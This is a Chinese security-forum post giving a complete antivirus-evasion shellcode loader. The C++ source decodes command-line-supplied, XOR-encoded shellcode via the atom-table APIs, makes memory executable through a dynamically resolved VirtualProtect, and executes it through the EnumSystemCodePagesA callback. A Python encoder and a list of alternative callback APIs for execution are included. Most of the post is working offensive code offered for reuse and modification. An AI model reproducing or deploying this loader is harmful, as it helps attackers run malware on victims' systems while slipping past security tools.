没有文章导读的文章导读
0x00 效果
感觉效果并不是很好,师傅们学习下方法就OK了
0x01 知识
1.AddAtomA和GetAtomNameA
作用如下
addatoma将字符串添加到本地原子表并返回标志字符串的唯一值,getatomnamea利用这个唯一的值获取到字符串并且写入到指定的缓冲区
2.命令行参数
3.EnumSystemCodePagesA
这个api一共有两个参数,第一个参数是指向回调函数的指针,我们可以利用它来执行我们的shellcode,第二个参数无关紧要只需要跟着文档随便填即可
4.virtualprotect
这个api可以将某块内存改为可读可写可执行
5.atoi
作用是把‘1’变成1
0x02 步入主题
我这里传入shellcode是利用命令行的方式,shellcode加密也是非常简单的,先异或后加,所以我们在解密的时候应是先减后异或
经过异或和加法后我们可以观察到这些数字都是4位数的,所以我们在解密的时候每一次截取4个长度来解密即可,现在我们把空格给去掉
结果如下
c++解密
思路呢就是把从命令行获取的shellcode,赋值给string类型,利用substr循环截取4个长度的字符串,在利用atoi把它们变成整数,最后异或解密即可
void dec(char* name){//传入shellcode
char buf[7000];
strcat(buf, name);//把shellcode放进buf里
string buf_2 = buf;//把buf赋值给string类型的buf_2
char bufff[50];
char cd[50];
int code;
char buff[7000];
int num = 0;
int num_2 = num + 4;//num和num_2为substr的截取长度,为4
int code_num = 0;
for (int i = 0; i < sizeof(buf); i++) {
if (buf[i] != (char)'\x0') {
string str = buf_2.substr(num, num_2);//截取4个长度的字符串
if (str.length() < 4) {
break;
}//这里是判断是否长度小于4,是因为我们加密后的都是4个长度的,如果不为长度4的话,肯定就代表值以及取完了,所以break跳出循环
str.copy(cd, 4, 0);//这里是把获取到的4个长度的字符串放入cd这个数组里
ATOM att = AddAtomA(cd);//把cd里的值添加到本地原子表并返回标志它的唯一值
GetAtomNameA(att, bufff, 50);//这里是利用它的唯一值来获取它的值并且写进bufff里
code = (atoi(bufff) - 1024) ^ 1024;//这里是把bufff里的值转换成整数,在减去1024在异或,这里shellcode就解密成功了
buff[code_num] = (char)code;//这里是解密后的shellcode转成char类型并且把它写进buff里
code_num++;//每次循环加1,让shellcode全部写进buff里
num_2 += 4;//加4,让substr永远可以截取4个长度的字符串,并且把我们加密后的shellcode全部截取完
num += 4;//加4,让substr永远可以截取4个长度的字符串,并且把我们加密后的shellcode全部截取完
}
else {
break;
}
}
}
到这里解密完的shellcode已经全部放入到buff里了,接下来利用EnumSystemCodePagesA来执行我们的shellcode
DWORD old;
VirtualProtect(buff, sizeof(buff), PAGE_EXECUTE_READWRITE, &old);//更改为可写可读可执行
EnumSystemCodePagesA((CODEPAGE_ENUMPROCA)&buff, CP_INSTALLED);
可以看到正常上线
随后我们用getprocaddress和getmodulehandle来动态调用VirtualProtect
typedef BOOL(WINAPI* VirTual)(
LPVOID Addr,
DWORD Size,
DWORD New,
PDWORD Old
);
VirTual VT = (VirTual)GetProcAddress(
GetModuleHandleA("Kernel32.dll"),
"VirtualProtect"
);
随后把代码中的VirtualProtect改成VT即可
DWORD old;
VT(buff, sizeof(buff), PAGE_EXECUTE_READWRITE, &old);
0x03 完整代码
这次就不放github上了,放在这里活得久点
SlinetSc.cpp
#define _CRT_SECURE_NO_DEPRECATE
#include<Windows.h>
#include<iostream>
using namespace std;
typedef BOOL(WINAPI* VirTual)(
LPVOID Addr,
DWORD Size,
DWORD New,
PDWORD Old
);
VirTual VT = (VirTual)GetProcAddress(
GetModuleHandleA("Kernel32.dll"),
"VirtualProtect"
);
void dec(char* name) {
char buf[7000];
strcat(buf, name);
char bufff[50];
char cd[50];
int code;
char buff[7000];
string buf_2 = buf;
int num = 0;
int num_2 = num + 4;
int code_num = 0;
for (int i = 0; i < sizeof(buf); i++) {
if (buf[i] != (char)'\x0') {
string str = buf_2.substr(num, num_2);
if (str.length() < 4) {
break;
}
str.copy(cd, 4, 0);
ATOM att = AddAtomA(cd);
GetAtomNameA(att, bufff, 50);
code = (atoi(bufff) - 1024) ^ 1024;
buff[code_num] = (char)code;
code_num++;
num_2 += 4;
num += 4;
}
else {
break;
}
}
DWORD old;
VT(buff, sizeof(buff), PAGE_EXECUTE_READWRITE, &old);
EnumSystemCodePagesA((CODEPAGE_ENUMPROCA)&buff, CP_INSTALLED);
}
int main(int argc, char* argv[]) {
char* name = argv[1];
dec(name);
return 0;
}
encode.py
shellcode = b""
str_=""
for i in shellcode:
code=(i^1024)+1024
str_+=str(code)
print(str_)
shellcode放在shellcode里,然后Python运行既可,最后命令行执行SlientSc.exe 这里是加密后的shellcode
由于我不懂密码学这类的,加密也只是简单的异或,师傅们拿去改改,效果可能会好不少
我收集了一些有回调函数的参数的api,如下
EnumSystemGeoNames
EnumSystemGeoID
EnumSystemCodePages
EnumDateFormats
EnumCalendarInfo
EnumSystemLocales
EnumCalendarInfoEx
EnumTimeFormatsEx
EnumTimeFormats
EnumUILanguages
EnumSystemLanguageGroups
EnumLanguageGroupLocales
最后祝师傅们所在的地区温度-10℃
- 本文作者: 旺崽
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1848
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!